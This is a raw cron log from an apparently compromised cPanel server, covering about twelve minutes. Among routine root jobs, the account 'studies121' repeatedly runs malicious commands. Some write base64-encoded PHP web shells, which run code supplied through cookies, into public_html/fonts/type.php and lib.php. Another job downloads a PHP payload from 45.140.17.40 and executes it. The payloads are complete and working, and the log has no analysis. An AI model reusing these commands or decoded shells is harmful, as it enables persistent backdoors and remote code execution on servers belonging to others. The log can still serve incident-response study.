Sep  6 20:08:01 ip-184-168-122-23 CROND[22825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:08:01 ip-184-168-122-23 CROND[22828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:09:01 ip-184-168-122-23 CROND[22998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:09:01 ip-184-168-122-23 CROND[22999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:09:01 ip-184-168-122-23 CROND[23002]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 20:09:01 ip-184-168-122-23 CROND[23003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:09:01 ip-184-168-122-23 CROND[23004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:10:01 ip-184-168-122-23 CROND[23095]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:10:01 ip-184-168-122-23 CROND[23101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:10:01 ip-184-168-122-23 CROND[23100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:10:01 ip-184-168-122-23 CROND[23098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:10:01 ip-184-168-122-23 CROND[23102]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:10:01 ip-184-168-122-23 CROND[23097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:10:01 ip-184-168-122-23 CROND[23099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:10:01 ip-184-168-122-23 CROND[23104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:11:01 ip-184-168-122-23 CROND[23201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:11:01 ip-184-168-122-23 CROND[23203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:11:01 ip-184-168-122-23 CROND[23204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:11:01 ip-184-168-122-23 CROND[23206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:12:01 ip-184-168-122-23 CROND[23294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:12:01 ip-184-168-122-23 CROND[23293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:12:01 ip-184-168-122-23 CROND[23298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:12:01 ip-184-168-122-23 CROND[23297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:12:01 ip-184-168-122-23 CROND[23300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:13:01 ip-184-168-122-23 CROND[23379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:13:01 ip-184-168-122-23 CROND[23381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:13:01 ip-184-168-122-23 CROND[23383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:13:01 ip-184-168-122-23 CROND[23382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:14:01 ip-184-168-122-23 CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:14:01 ip-184-168-122-23 CROND[23540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:14:01 ip-184-168-122-23 CROND[23542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:14:01 ip-184-168-122-23 CROND[23539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:14:01 ip-184-168-122-23 CROND[23541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:15:01 ip-184-168-122-23 CROND[23628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:15:01 ip-184-168-122-23 CROND[23634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:15:01 ip-184-168-122-23 CROND[23633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:15:01 ip-184-168-122-23 CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:15:01 ip-184-168-122-23 CROND[23631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:15:01 ip-184-168-122-23 CROND[23632]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 20:15:01 ip-184-168-122-23 CROND[23630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:16:01 ip-184-168-122-23 CROND[23739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:16:01 ip-184-168-122-23 CROND[23741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:16:01 ip-184-168-122-23 CROND[23743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:16:01 ip-184-168-122-23 CROND[23742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:16:01 ip-184-168-122-23 CROND[23745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:16:01 ip-184-168-122-23 CROND[23744]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:17:01 ip-184-168-122-23 CROND[23890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:17:01 ip-184-168-122-23 CROND[23893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:17:01 ip-184-168-122-23 CROND[23894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:17:01 ip-184-168-122-23 CROND[23892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:18:01 ip-184-168-122-23 CROND[23983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:18:01 ip-184-168-122-23 CROND[23985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:18:01 ip-184-168-122-23 CROND[23986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:18:01 ip-184-168-122-23 CROND[23987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:18:01 ip-184-168-122-23 CROND[23988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:19:01 ip-184-168-122-23 CROND[24069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:19:01 ip-184-168-122-23 CROND[24071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:19:01 ip-184-168-122-23 CROND[24072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:19:01 ip-184-168-122-23 CROND[24074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24175]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
